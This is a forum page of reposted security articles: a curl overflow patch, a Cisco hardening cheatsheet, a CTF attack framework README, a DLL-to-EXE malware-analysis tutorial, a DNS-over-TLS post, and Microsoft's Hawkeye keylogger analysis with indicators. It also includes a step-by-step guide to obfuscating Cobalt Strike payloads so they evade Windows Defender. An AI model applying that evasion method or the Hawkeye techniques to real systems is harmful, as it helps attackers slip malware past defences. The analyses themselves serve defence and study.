“(userlen + domlen) * 2”, it will result in an integer overflow which will leads in a tiny buffer being allocated via malloc() and resulting in a heap based buffer overflow in the subsequent calls. Below you can see how Daniel Stenberg patched lib/curl_ntlm_core.c to fix this vulnerability. First, a new pre-processor definition was added to ensure that the appropriate (per architecture) maximum value for “size_t” data type is set to the “SIZE_T_MAX” constant. 1 2 3 4 5 6 7 8 #ifndef SIZE_T_MAX /* some limits.h headers have this defined, some don't */ #if defined(SIZEOF_SIZE_T) && (SIZEOF_SIZE_T > 4) #define SIZE_T_MAX 18446744073709551615U #else #define SIZE_T_MAX 4294967295U #endif #endif And as expected, this new constant is used in Curl_ntlm_core_mk_ntlmv2_hash() function to ensure that the length calculation will not result in an integer overflow. In case it exceeds this limit the code will return “CURLE_OUT_OF_MEMORY” error code. You can see the diff below. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /* Unicode representation */ - size_t identity_len = (userlen + domlen) * 2; - unsigned char *identity = malloc(identity_len); + size_t identity_len; + unsigned char *identity; CURLcode result = CURLE_OK; + /* we do the length checks below separately to avoid integer overflow risk + on extreme data lengths */ + if((userlen > SIZE_T_MAX/2) || + (domlen > SIZE_T_MAX/2) || + ((userlen + domlen) > SIZE_T_MAX/2)) + return CURLE_OUT_OF_MEMORY; + + identity_len = (userlen + domlen) * 2; + identity = malloc(identity_len); + if(!identity) Sursa: https://xorl.wordpress.com/2017/11/30/cve-2017-8816-curl-ntlm-authentication-buffer-overflow/
-
- 1
-
-
Cisco switch security features cheatsheet Published July 20, 2018 by Shahriar 0 Cisco switches (running IOS) have plenty of features that are critical to modern networks. Some are Cisco security features that eliminate several important attack vectors on layer 2. This is arguably the most important defense mechanism because ACLs and security mechanisms on software (layer 7) will sometimes fall short protecting the network because of the extreme complexity of communication up in this layer. So the earlier you close the holes the better! As an example security features like protected ports can effectively harden lateral movement in windows networks (Active Directory domains), also while being so dead simple compared to more advanced methods implemented on top of active directory itself. In this post I will give you the commands needed to implement some security features in a Cisco switch in a cheetsheet like manner. It is important to fully understand what each feature will do, as failing to do so and running the commands blindly may cause disruption in your network. Just look up each one and read about it. ? Reading official Cisco CCNP books is super recommended! Port Security int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky 1 2 3 4 5 6 7 8 9 10 11 int INTERFACE switchport mode access switchport access vlan 123 #port security configuration starts here: switchport port-security maximum # switchport port-security aging type inactive switchport port-security aging time 5 switchport port-security violation restrict switchport port-security mac-address MAC switchport port-security mac-address sticky These two commands show you port-security stats and make troubleshooting easier: show port-sec address show port-sec interface INTERFACE 1 2 show port-sec address show port-sec interface INTERFACE DHCP Snooping #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) 1 2 3 4 5 6 7 8 9 #(conf) ip dhcp snooping ip dhcp snooping vlan # interface INTERFACE ip dhcp snooping trust int USER-INTERFACE ip dhcp snooping limit rate #(pps) Related show command: show ip dhcp snooping 1 show ip dhcp snooping Dynamic ARP Inspection ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) 1 2 3 4 5 6 7 8 ip arp inspection ip arp inspection vlan 123 interface INTERFACE ip arp inspection trust interface USER-INTERFACE ip arp inspection limit rate #(pps) Related show command: show ip arp inspection vlan 123 1 show ip arp inspection vlan 123 IP Source Guard It requires DHCP snooping (or static ip/mac bindings) Port based: interface INTERFACE ip verify source(ip) port-security(mac) 1 2 interface INTERFACE ip verify source(ip) port-security(mac) Creating manual entries: ip source binding MAC vlan # IP_ADDRESS interface INTERFACE 1 ip source binding MAC vlan # IP_ADDRESS interface INTERFACE Related show command: show ip source binding 1 show ip source binding Protected ports Ports that cannot communicate with each other directly. ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected 1 2 3 4 ##private vlan edge aka protected ports : no direct traffic between those ports## interface INTERFACE switchport protected Spanning Tress root guard int INTERFACE spanning-tree guard root superior bpdu 1 2 int INTERFACE spanning-tree guard root superior bpdu STP BPDU Guard: with Spanning tree port-fast spanning-tree bpduguard enable 1 spanning-tree bpduguard enable Storm Control interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION 1 2 3 4 5 interface INTERFACE #(do not clip anymore – all specified traffic is dropped until end of duration [1s]) storm-conftrol broadcast level (bbp | pps | %) # # show storm-control b|m|u storm-control action ACTION I hope you like this post. I am looking forward to improving this post using your contributions in a wiki-like manner. so if you think of any other feature which would be nice to be included in this post, please comment or email me and I will add it here. Thanks ? Sursa: https://rayanfam.com/topics/cisco-switch-sec-cheatsheet/
- 1 reply
-
- 1
-
-
Nu se reproduce la ei, am incercat si eu. Nu e de la IPBoard, e de la singurul plugin amarat pe care il aveam si noi: https://invisioncommunity.com/files/file/8395-ne-hide-post-content/ L-am dezactivat si e ok acum.
-
L-am raportat, am acordat credite (evident). Revin cand am un raspuns de la ei. Multumim frumos!
-
Vezi asta: https://stackoverflow.com/questions/13102045/scanner-is-skipping-nextline-after-using-next-or-nextfoo
-
CTFPWNng Next-gen automation framework for attack-defense CTFs. Dependencies Redis (redis-server and redis-cli) Nmap GNU parallel Usage ./ctfpwn.sh Target Identification The targets directory includes a wrapper script (run-targets.sh) that runs Nmap scans on the target range in order to identify alive hosts. This script should run regularly as a cronjob (TBD). Before ctfpwn.sh can be started, the script should run at least once to create a initial output file: cd targets ./run-targets.sh Add Exploits Adding a new exploit is as easy as copying the exploits/_template directory. The following example creates an exploit for a service called wood cd ctfpwnng cp -r exploits/_template exploits/wood An exploit directory requires at least two files (already included in the exploits/_template directory): service: A service definition file. This file must contain the _SERVICE_NAME and _SERVICE_PORT variables. run.sh: The exploit wrapper script that either includes or starts the actual exploit code. It is also responsible for calling the log_flags() function that will add flags to the Redis database. Disable Exploits Exploits can be disabled by either creating a .disabled file: touch exploits/wood/.disabled Or by preceeding the exploit directory name with an underscore: mv exploits/wood exploits/_wood Sursa: https://github.com/takeshixx/ctfpwnng
-
Cobalt Strike – Bypassing Windows Defender with Obfuscation Guest post by team member @taso_x For all red teamers delivering payloads while not kicking off all the bells and whistles of the organization is always a challenge. Just like all other security solutions Windows Defender has become better at detecting generic payloads generated with tools such as Cobalt Strike. In this example we will go through the generation of a PowerShell payload with Cobalt Strike and see how we can manipulate it in a way that it will execute bypassing Windows Defender on a Windows 10 PC. This is not the most elegant or easier solution to hide your payloads from Windows Defender but it is one of the methods we use and it works. The process for creating the payload is as follows: This will result to payload.txt being created which includes a PowerShell command. If we try to run the command on the victim PC we are greeted by Windows Defender which picks it up as a threat. In order to bypass Windows Defender we need to first understand how Cobalt Strike creates its payloads and then change some of its signatures hoping that Windows Defender will consider it safe. First of all it is obvious that the payload command it base64 encoded by either looking at the format or by the -encodedcommand PowerShell flag. To decode the command we need to cut out the powershell.exe -nop -w hidden -encodedcommand part and keep the rest. Then decode the rest of the string with the following command. echo 'base64 payload' | base64 -d The resultant decoded string includes a base64 encoded string again but trying to decode that will not work and spit out gibberish because the string is also Gzip compressed apparent from the IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s[IO.Compression.CompressionMode]::Decompress))).ReadToEnd() part of the PowerShell command. Now we need to understand what is inside this command as this is the part which is actually triggering Windows Defender i.e the payload. Through some Google searching I found this PowerShell script that does exactly that http://chernodv.blogspot.com.cy/2014/12/powershell-compression-decompression.html $data = [System.Convert]::FromBase64String('gzip base64') $ms = New-Object System.IO.MemoryStream $ms.Write($data, 0, $data.Length) $ms.Seek(0,0) | Out-Null $sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Decompress)) $sr.ReadToEnd() | set-clipboard The script will first base64 decode the string and the decompress it providing us with the entire code. It will also copy the contents of the output to the clipboard to paste it in a text file which is going to be used later on. The $var_code variable holds the payload which is being detected by Windows Defender and we will need to swap out to bypass the defender. Decoding $var_code further it is a series of ASCII characters but decoding it fully is not required at this point. $enc=[System.Convert]::FromBase64String('encoded string') We can read part of the contents with: $readString=[System.Text.Encoding]::ASCII.GetString($enc) The above now shows some information about the user agent and our attackers IP. The target now is to take the current payload and obfuscate it in a way that it will trick Windows Defender. The best tool and the tool of choice for this type of job is Invoke-Obfuscation by Daniel Bohannon. The Github page for the project can be found here. The commands for starting with Invoke-Obfuscation are: Import-Module .\Invoke-Obfuscation.psd1 Invoke-Obfuscation Now we need to define the payload part that we need to obfuscate. This can be done with the following command Set scriptblock 'final_base64payload' The tool will take our script block and then ask us for the way that we want to proceed. In this case i chose COMPRESS and then 1. This doesn’t mean that the other options will not work but i found this one to be working at the time of writing. Invoke-Obfuscation will do it’s magic and print out a PowerShell command which is mangled enough that it could potentially bypass Windows Defender. Then just type Out and the path that you want to save this as a PowerShell script. Out c:\payload.ps1 The current decompressed payload from previous steps looks like this. So it all boils down to the fact that we need to replace the [Byte[]]$var_code = [System.Convert]::FromBase64String contents with our newly created payload from Invoke-Obfuscation. To do that i define a new variable which i call $evil and just put the contents of the output from Invoke-Obfuscation. Important – You need to strip out the part after the last | from the output of Invoke-Obfuscation because that it’s the command that executes the command. We will not need that because the Cobalt Strike template will do that for us. Save the edited script into a PowerShell file and execute it. The result should be a beacon in Cobalt Strike and a Slack notification if your are using @sec_groundzero Aggressor Script If we examine both the vanilla CS payload and the modified CS payload with Process Hacker we see that we don’t change the underlying behaviour of the beacon. Sursa: http://www.offensiveops.io/tools/cobalt-strike-bypassing-windows-defender-with-obfuscation/
-
How to turn a DLL into a standalone EXE Posted on July 21, 2016 by hasherezade During malware analysis we can often encounter payloads in form of DLLs. Analyzing them dynamically may not be very handy, because they need some external loaders to run. Different researchers have different tricks to deal with them. In this post I will describe some of my tricks for patching DLLs, so that they can run as independent executables. Usually we can encounter 2 cases: meaningful code starts in one of the exported functions meaningful code starts in DllMain To illustrate those cases with real-life examples I will use 2 malware samples. First case – represented by Bunitu Trojan (b0a91e1f91078bad48252edc989e868e) and second case: represented by Petya/Mischa dropper (c8e4829dcba8b288bd0ed75717214db6). Those DLLs have been unpacked from their loaders/crypters – but in order to keep things simple I am not gonna describe here the full process of unpacking. In both cases we will start from editing the field Characteristics in the File Header and removing the flag indicating that the file is a DLL. I will do it using PE-bear: I changed the value: Case #1: When the meaningful code starts in the exported function In this case, one more modification is required before we save the file. We have to change the entry point in order to point the appropriate function from export table – the one where the execution of the meaningful code starts. We need to find the Function RVA: Then, follow it: On the Disasm tab we can see the code of this function. Now, we should redirect Entry Point to it’s beginning: And save the file as EXE: In case of Bunitu Trojan, this function does not take any parameters, so we not need to fill anything more. Now, we can run the saved file like a normal executable (see the patched version at malwr). Case #2 – meaningful code starts in DllMain This time we not need to change the Entry Point – just after changing Characteristics in File Header save the file and load it under a debugger (I will use OllyDbg). Similarly to the main function in typical executables, DLLs have their DllMain function that is executed automatically when they are loaded to the memory (the same function is also executed on few more events – i.e. on DLL unloading). Let’s recall it’s header: BOOL WINAPI DllMain( _In_ HINSTANCE hinstDLL, _In_ DWORD fdwReason, _In_ LPVOID lpvReserved ); As we can see, the function takes 3 arguments. The first one (hinstDLL) is the handle to the memory area where the DLL has been loaded. Second stores a value that indicates the reason why the DllMain has been triggered. Read more here. To make our patched DLL run properly, we must take care that it’s arguments will be filled with proper values – especially important are the first two that I mentioned. The first argument: hinstDLL – must contain the module handle (ImageBase). Second usually should be filled with 1 – to emulate DLL_PROCESS_ATTACH. That’s how the Entry Point of the dumped executable looks: Let’s add a code that will overwrite the arguments with valid values. I will utilize some free cave for this purpose. Fortunately, there is enough space at the end of the code section: I am gonna do some patching in order to redirect execution to this place. We need 5 bytes for the jump – so, let’s remove/rearrange some code in order to gain the space (if we are lacking in space, some instructions can be also moved to the cave, along with the added code): Patched – step 1: Patched – step 2: I redirected execution to the mentioned cave. We will copy aside the address that is just after the added jump, to go back to this place later. Now let’s fill the cave with needed code. To fill the first argument with the valid ImageBase I will copy the value from Process Environment Block (pointed by FS:[30]) . This is example of the code that do this job: MOV EAX, [FS:0X30] ; copy to EAX handle to PEB MOV EAX, [EAX+0X8] ; copy to EAX the field with ImageBase MOV [EBP+0X8], EAX ; copy the content of EAX into the first argument Now, let’s fill the second argument with a vale 1, emulating that the DLL is loaded: MOV DWORD [EBP+0XC], 0X1 The third argument can be filled with NULL: MOV DWORD [EBP+0X10], 0 Added code: Now only returning jump is remaining: And we can save the modified executable: Now we can run/debug the saved file as a standalone executable. Ending note Of course the described techniques are not a silver bullet and they may not cover all the cases you encounter. My goal was just to provide some examples and inspiration for experiments. However, those simple tricks worked for me in many cases making the work much easier. Appendix https://en.wikipedia.org/wiki/Win32_Thread_Information_Block https://en.wikipedia.org/wiki/Process_Environment_Block Sursa: https://hshrzd.wordpress.com/2016/07/21/how-to-turn-a-dll-into-a-standalone-exe/
-
DNS-Over-TLS Built-In & Enforced - 1.1.1.1 and the GL.iNet GL-AR750S 14 Jul 2018 by Junade Ali. inShare GL.iNet GL-AR750S in black, same form-factor as the prior white GL.iNet GL-AR750. Credit card for comparison. Back in April, I wrote about how it was possible to modify a router to encrypt DNS queries over TLS using Cloudflare's 1.1.1.1 DNS Resolver. For this, I used the GL.iNet GL-AR750 because it was pre-installed with OpenWRT (LEDE). The folks at GL.iNet read that blog post and decided to bake DNS-Over-TLS support into their new router using the 1.1.1.1 resolver, they sent me one to take a look at before it's available for pre-release. Their new router can also be configured to force DNS traffic to be encrypted before leaving your local network, which is particularly useful for any IoT or mobile device with hard-coded DNS settings that would ordinarily ignore your routers DNS settings and send DNS queries in plain-text. In my previous blog post I discussed how DNS was often the weakest link in the chain when it came to browsing privacy; whilst HTTP traffic is increasingly encrypted, this is seldom the case for DNS traffic. This makes it relatively trivial for an intermediary to work out what site you're sending traffic to. In that post, I went through the technical steps required to modify a router using OpenWRT to support DNS Privacy using the DNS-Over-TLS protocol. GL.iNet were in contact since I wrote the original blog post and very supportive of encrypting DNS queries at the router level. Last week whilst working in Cloudflare's San Francisco office, they reached out to me over Twitter to let me know they were soon to launch a new product with a new web UI containing a "DNS over TLS from Cloudflare" feature and offered to send me the new router before it was even available for pre-order. On arrival back to our London office, I found a package from Hong Kong waiting for me. Aside from the difference in colour, the AR750S itself is identical in form-factor to the AR750 and was packaged up very similarly. They both have capacity for external storage, an OpenVPN client and can be powered over USB; amongst many other useful functionalities. Alongside the S suffixing the model number, I did notice the new model had some upgraded specs, but I won't dwell on that here. Below you can see the white AR750 and the new black AR750S router together for comparison. Both have a WAN ethernet port, 2 LAN ethernet ports, a USB port for external storage (plus a micro SD port) and a micro USB power port. The UI is where the real changes come. In the More Settings tab, there's an option to configure DNS with some nice options. One notable option is the DNS over TLS from Cloudflare toggle. This option uses the TLS security protocol for encrypting DNS queries, helping increase privacy and prevent eavesdropping. Another option, Override DNS Settings for All Clients, forcibly overrides the DNS configuration on all clients so that queries are encrypted to the WAN. Unencrypted DNS traffic is intercepted by the router, and by forcing traffic to use it's own local resolver, it is able to transparently rewrite traffic to be encrypted before leaving the router and heading out into the public internet to the upstream resolver - 1.1.1.1. This option is particularly useful when dealing with embedded systems or IoT devices which don't have configurable DNS options; Smart TVs, TV boxes, your toaster, etc. As this router can proxy traffic over to other Wi-Fi networks (and is portable), this is particularly useful when connecting out to an ordinarily insecure Wi-Fi network; the router can sit in the middle and transparently upgrade unencrypted DNS queries. This is even useful when dealing with phones and tablets where you can't install a DNS-Over-TLS client. These options both come disabled by default, but can easily be toggled in the UI. As before, you can configure other DNS resolvers by toggling "Manual DNS Server Settings" and entering in any other DNS servers. There are a number of other cool features I've noticed in this router; for example, the More Settings > Advanced option takes you into a standard LuCi UI that ordinarily comes bundled with LEDE routers. Like previous routers, you can easily SSH into the device and install various program and perform customisations. For example; after installing TCPDump on the router, I am able to run tcpdump -n -i wlan-sta 'port 853' to see encrypted DNS traffic leaving the router. When I run a DNS query over an unencrypted resolver (using dig A junade.com on my local computer), I can see the outgoing DNS traffic upgraded to encrypted queries on 1.1.1.1 and 1.0.0.1. If you're interested in learning how to configure 1.1.1.1 on other routers, your computer or your phone - check out the project landing page at https://1.1.1.1/. If you're a developer and want to learn about how you can integrate 1.1.1.1 into your project with either DNS-Over-TLS or DNS-Over-HTTPS, checkout the 1.1.1.1 Developer Documentation. Tagged with 1.1.1.1, DNS, Security, TLS, Privacy, Resolver, IoT Sursa: https://blog.cloudflare.com/dns-over-tls-built-in/
-
Hawkeye Keylogger – Reborn v8: An in-depth campaign analysis July 11, 2018 Office 365 Threat Research in Microsoft 365, Office 365 Advanced Threat Protection, Windows Defender Advanced Threat Protection, Endpoint Security, Threat Protection, Research Much of cybercrime today is fueled by underground markets where malware and cybercriminal services are available for purchase. These markets in the deep web commoditize malware operations. Even novice cybercriminals can buy malware toolkits and other services they might need for malware campaigns: encryption, hosting, antimalware evasion, spamming, and many others. Hawkeye Keylogger is an info-stealing malware that’s being sold as malware-as-a-service. Over the years, the malware authors behind Hawkeye have improved the malware service, adding new capabilities and techniques. It was last used in a high-volume campaign in 2016. This year marked the resurgence of Hawkeye. In April, malware authors started peddling a new version of the malware that they called Hawkeye Keylogger – Reborn v8. Not long after, on April 30, Office 365 Advanced Threat Protection (Office 365 ATP) detected a high-volume campaign that distributed the latest variants of this keylogger. At the onset, Office 365 ATP blocked the email campaign and protected customers, 52% of whom are in the software and tech sector. Companies in the banking (11%), energy (8%), chemical (5%), and automotive (5%) industries are also among the top targets Figure 1. Top industries targeted by the April 2018 Hawkeye campaign Office 365 ATP uses intelligent systems that inspect attachments and links for malicious content to protect customers against threats like Hawkeye in real time. These automated systems include a robust detonation platform, heuristics, and machine learning models. Office 365 ATP uses intelligence from various sensors, including multiple capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP). Windows Defender AV (a component of Windows Defender ATP) detected and blocked the malicious attachments used in the campaign in at least 40 countries. United Arab Emirates accounted for 19% of these file encounters, while the Netherlands (15%), the US (11%), South Africa (6%) and the UK (5%) make the rest of the top 5 countries that saw the lure documents used in the campaign. A combination of generic and heuristic protections in Windows Defender AV (TrojanDownloader:O97M/Donoff, Trojan:Win32/Tiggre!rfn, Trojan:Win32/Bluteal!rfn, VirTool:MSIL/NetInject.A) ensured these threats are blocked in customer environments. Figure 2. Top countries that encountered malicious documents used in the Hawkeye campaign As part of our job to protect customers from malware attacks, Office 365 ATP researchers monitor malware campaigns like Hawkeye and other developments in the cybercriminal landscape. Our in-depth investigation into malware campaigns like Hawkeye and many others adds to the vast threat intelligence we get from the Microsoft Intelligent Security Graph, which enables us to continuously raise the bar in security. Through the Intelligent Security Graph, security technologies in Microsoft 365 share signals and detections, allowing these technologies to automatically update protection and detection mechanisms, as well as orchestrate remediation across Microsoft 365. Figure 3. Microsoft 365 threat protection against Hawkeye Campaign overview Despite its name, Hawkeye Keylogger – Reborn v8 is more than a common keylogger. Over time, its authors have integrated various modules that provide advanced functionalities like stealth and detection evasion, as well as credential theft and more. Malware services like Hawkeye are advertised and sold in the deep web, which requires anonymity networks like Tor to access, etc. Interestingly, the Hawkeye authors advertised their malware and even published tutorial videos on a website on the surface web (that has since been taken down). Even more interesting, based on underground forums, it appears the malware authors have employed intermediary resellers, an example of how cybercriminal underground business models expand and evolve. Our investigation into the April 2018 Hawkeye campaign shows that the cybercriminals have been preparing for the operation since February, when they registered the domains they later used in the campaign. Typical of malware campaigns, the cybercriminals undertook the following steps: Built malware samples and malware configuration files using a malware builder they acquired from the underground Built weaponized documents to be used a social engineering lure (possibly by using another tool bought in the underground) Packed or obfuscated the samples (using a customized open-source packer) Registered domains for delivery of malware Launched a spam campaign (possibly using a paid spam service) to distribute the malware Like other malware toolkits, Hawkeye comes with an admin panel that cybercriminals use to monitor and control the attack. Figure 4: Hawkeye’s admin panel Interestingly, some of the methods used in this Hawkeye campaign are consistent with previous attacks. This suggests that the cybercriminals behind this campaign may be the same group responsible for malware operations that delivered the remote access tool (RAT) Remcos and the info-stealing bot malware Loki. The following methods were used in these campaigns: Multiple documents that create a complicated, multi-stage delivery chain Redirections using shortened bit.ly links Use of malicious macro, VBScript, and PowerShell scripts to run the malware; the Remcos campaign employed an exploit for CVE-2017-0199 but used the same domains Consistent obfuscation technique across multiple samples Point of entry In late April, Office 365 ATP analysts spotted a new spam campaign with the subject line RFQ-GHFD456 ADCO 5647 deadline 7th May carrying a Word document attachment named Scan Copy 001.doc. While the attachment’s file name extension was .doc, it was in fact a malicious Office Open XML format document, which usually uses a .docx file name extension. In total, the campaign used four different subject lines and five attachments. Figure 5: Sample emails used in the Hawkeye campaign Because the attachment contains malicious code, Microsoft Word opens with a security warning. The document uses a common social engineering lure: it displays a fake message and an instruction to “Enable editing” and “Enable content”. Figure 6: The malicious document with social engineering lure The document contains an embedded frame that connects to a remote location using a shortened URL. Figure 7: frame in settings.rels.xml on the document The frame loads an .rtf file from hxxp://bit[.]ly/Loadingwaitplez, which redirects to hxxp://stevemike-fireforce[.]info/work/doc/10.doc. Figure 8: RTF loaded as a frame inside malicious document The RTF has an embedded malicious .xlsx file with macro as an OLE object, which in turn contains a stream named PACKAGE that contains the .xlsx contents. The macro script is mostly obfuscated, but the URL to the malware payload is notably in plaintext. Figure 9: Obfuscated macro entry point De-obfuscating the entire script makes its intention clear. The first section uses PowerShell and the System.Net.WebClient object to download the malware to the path C:\Users\Public\svchost32.exe and execute it. The macro script then terminates both winword.exe and excel.exe. In specific scenarios where Microsoft Word overrides default settings and is running with administrator privileges, the macro can delete Windows Defender AV’s malware definitions. It then changes the registry to disable Microsoft Office’s security warnings and safety features. In summary, the campaign’s delivery comprises of multiple layers of components that aim to evade detection and possibly complicate analysis by researchers. Figure 10: The campaign’s delivery stages The downloaded payload, svchost32.exe, is a .NET assembly named Millionare that is obfuscated using a custom version of ConfuserEx, a well-known open-source .NET obfuscator. Figure 11: Obfuscated .NET assembly Millionare showing some of the scrambled names The obfuscation modifies the .NET assembly’s metadata such that all the class and variable names are non-meaningful and scrambled names in Unicode. This obfuscation causes some analysis tools like .NET Reflector to show some namespaces or classes names as blank, or in some cases, display parts of the code backwards. Figure 12: .NET Reflector presenting the code backwards due to obfuscation Finally, the .NET binary loads an unpacked .NET assembly, which includes DLL files embedded as resources in the portable executable (PE). Figure 13: Loading the unpacked .NET assembly during run-time Malware loader The DLL that initiates the malicious behavior is embedded as a resource in the unpacked .NET assembly. It is loaded in memory using process hollowing, a code injection technique that involves spawning a new instance of a legitimate process and then “hollowing it out”, i.e., replacing the legitimate code with malware. Figure 14: In-memory unpacking of the malware using process hollowing. Unlike previous Hawkeye variants (v7), which loaded the main payload into its own process, the new Hawkeye malware injects its code into MSBuild.exe, RegAsm.exe, and VBC.exe, which are signed executables that ship with .NET framework. This is an attempt to masquerade as a legitimate process. Figure 15: Obfuscated calls using .NET reflection to perform process hollowing injection routine that injects the malware’s main payload into RegAsm.exe Additionally, in the previous version, the process hollowing routine was written in C. In the new version, this routine is completely rewritten as a managed .NET that calls the native Windows API. Figure 16: Process hollowing routine implemented in .NET using native API function calls Malware functionalities The new Hawkeye variants created by the latest version of the malware toolkit have multiple sophisticated functions for information theft and evading detection and analysis. Information theft The main keylogger functionality is implemented using hooks that monitor key presses, as well as mouse clicks and window context, along with clipboard hooks and screenshot capability. It has specific modules for extracting and stealing credentials from the following applications: Beyluxe Messenger Core FTP FileZilla Minecraft (replaced the RuneScape module in previous version) Like many other malware campaigns, it uses the legitimate BrowserPassView and MailPassView tools to dump credentials from the browser and email client. It also has modules for taking screenshots of the desktop, as well as the webcam, if it exists. Notably, the malware has a mechanism to visit certain URLs for click-based monetization. Stealth and anti-analysis On top of the processes hollowing technique, this malware uses other methods for stealth, including alternate data streams that remove mark of the web (MOTW) from the malware’s downloaded files. This malware can be configured to delay execution by any number of seconds, a technique used mainly to avoid detection by various sandboxes. It prevents antivirus software from running using an interesting technique. It adds keys to the registry location HKLM\Software\Windows NT\Current Version\Image File Execution Options and sets the Debugger value for certain processes to rundll32.exe, which prevents execution. It targets the following processes related to antivirus and other security software: AvastSvc.exe AvastUI.exe avcenter.exe avconfig.exe avgcsrvx.exe avgidsagent.exe avgnt.exe avgrsx.exe avguard.exe avgui.exe avgwdsvc.exe avp.exe avscan.exe bdagent.exe ccuac.exe ComboFix.exe egui.exe hijackthis.exe instup.exe keyscrambler.exe mbam.exe mbamgui.exe mbampt.exe mbamscheduler.exe mbamservice.exe MpCmdRun.exe MSASCui.exe MsMpEng.exe msseces.exe rstrui.exe spybotsd.exe wireshark.exe zlclient.exe Further, it blocks access to certain domains that are usually associated with antivirus or security updates. It does this by modifying the HOSTS file. The list of domains to be blocked is determined by the attacker using a config file. This malware protects its own processes. It blocks the command prompt, registry editor, and task manager. It does this by modifying registry keys for local group policy administrative templates. It also constantly checks active windows and renders action buttons unusable if the window title matches “ProcessHacker”, “Process Explorer”, or “Taskmgr”. Meanwhile, it prevents other malware from infecting the machine. It repeatedly scans and removes any new values to certain registry keys, stops associated processes, and deletes related files. Hawkeye attempts to avoid automated analysis. The delay in execution is designed to defeat automated sandbox analysis that allots only a certain time for malware execution and analysis. It likewise attempts to evade manual analysis by monitoring windows and exiting when it finds the following analysis tools: Sandboxie Winsock Packet Editor Pro Wireshark Defending mailboxes, endpoints, and networks against persistent malware campaigns Hawkeye illustrates the continuous evolution of malware in a threat landscape fueled by the cybercriminal underground. Malware services make malware accessible to even unsophisticated operators, while simultaneously making malware more durable with advanced techniques like in-memory unpacking and abuse of .NET’s CLR engine for stealth. In this blog we covered the capabilities of its latest version, Hawkeye Keylogger – Reborn v8, highlighting some of the enhancements from the previous version. Given its history, Hawkeye is likely to release a new version in the future. Organizations should continue educating their employees about spotting and preventing social engineering attacks. After all, Hawkeye’s complicated infection chain begins with a social engineering email and lure document. A security-aware workforce will go a long way in securing networks against attacks. More importantly, securing mailboxes, endpoints, and networks using advanced threat protection technologies can prevent attacks like Hawkeye, other malware operations, and sophisticated cyberattacks. Our in-depth analysis of the latest version and our insight into the cybercriminal operation that drives this development allow us to proactively build robust protections against both known and unknown threats. Office 365 Advanced Threat Protection (Office 365 ATP) protects mailboxes as well as files, online storage, and applications from malware campaigns like Hawkeye. It uses a robust detonation platform, heuristics, and machine learning to inspect attachments and links for malicious content in real-time, ensuring that emails that carry Hawkeye and other threats don’t reach mailboxes and devices. Learn how to add Office 365 ATP to existing Exchange or Office 365 plans. Windows Defender Antivirus (Windows Defender AV) provides an additional layer of protection by detecting malware delivered through email, as well as other infection vectors. Using local and cloud-based machine learning, Windows Defender AV’s next-gen protection can block even new and unknown threats on Windows 10 and Windows 10 in S mode. Additionally, endpoint detection and response (EDR) capabilities in Windows Defender Advanced Threat Protection (Windows Defender ATP) expose sophisticated and evasive malicious behavior, such as those used by Hawkeye. Sign up for free Windows Defender ATP trial. Windows Defender ATP’s rich detection libraries are powered by machine learning and allows security operations teams to detect and respond to anomalous attacks in the network. For example, machine learning detection algorithms surface the following alert when Hawkeye uses a malicious PowerShell to download the payload: Figure 16: Windows Defender ATP alert for Hawkeye’s malicious PowerShell component Windows Defender ATP also has behavior-based machine learning algorithms that detect the payload itself: Figure 17: Windows Defender ATP alert for Hawkeye’s payload These security technologies are part of the advanced threat protection solutions in Microsoft 365. Enhanced signal sharing across services in Windows, Office 365, and Enterprise Mobility + Security through the Microsoft Intelligent Security Graph enables the automatic update of protections and orchestration of remediation across Microsoft 365. Office 365 ATP Research Indicators of Compromise (Ioc) Email subject lines {EXT} NEW ORDER ENQUIRY #65563879884210# B/L COPY FOR SHIPMENT Betreff: URGENT ENQ FOR Equipment RFQ-GHFD456 ADCO 5647 deadline 7th May Attachment file names Betreff URGENT ENQ FOR Equipment.doc BILL OF LADING.doc NEW ORDER ENQUIRY #65563879884210#.doc Scan Copy 001.doc Swift Copy.doc Domains lokipanelhostingpanel[.]gq stellarball[.]com stemtopx[.]com stevemike-fireforce[.]info Shortened redirector links hxxp://bit[.]ly/ASD8239ASdmkWi38AS (was also used in a Remcos campaign) hxxp://bit[.l]y/loadingpleaswaitrr hxxp://bit[.l]y/Loadingwaitplez Files (SHA-256) d97f1248061353b15d460eb1a4740d0d61d3f2fcb41aa86ca6b1d0ff6990210a – .eml 23475b23275e1722f545c4403e4aeddf528426fd242e1e5e17726adb67a494e6 – .eml 02070ca81e0415a8df4b468a6f96298460e8b1ab157a8560dcc120b984ba723b – .eml 79712cc97a19ae7e7e2a4b259e1a098a8dd4bb066d409631fb453b5203c1e9fe – .eml 452cc04c8fc7197d50b2333ecc6111b07827051be75eb4380d9f1811fa94cbc2 – .eml 95511672dce0bd95e882d7c851447f16a3488fd19c380c82a30927bac875672a – .eml 1b778e81ee303688c32117c6663494616cec4db13d0dee7694031d77f0487f39 – .eml 12e9b955d76fd0e769335da2487db2e273e9af55203af5421fc6220f3b1f695e – .eml 12f138e5e511f9c75e14b76e0ee1f3c748e842dfb200ac1bfa43d81058a25a28 – .eml 9dfbd57361c36d5e4bda9d442371fbaa6c32ae0e746ebaf59d4ec34d0c429221 – .docx (stage 1) f1b58fd2bc8695effcabe8df9389eaa8c1f51cf4ec38737e4fbc777874b6e752 – .rtf (stage 2) 5ad6cf87dd42622115f33b53523d0a659308abbbe3b48c7400cc51fd081bf4dd – .doc 7db8d0ff64709d864102c7d29a3803a1099851642374a473e492a3bc2f2a7bae – .rtf 01538c304e4ed77239fc4e31fb14c47604a768a7f9a2a0e7368693255b408420 – .rtf d7ea3b7497f00eec39f8950a7f7cf7c340cf9bf0f8c404e9e677e7bf31ffe7be – 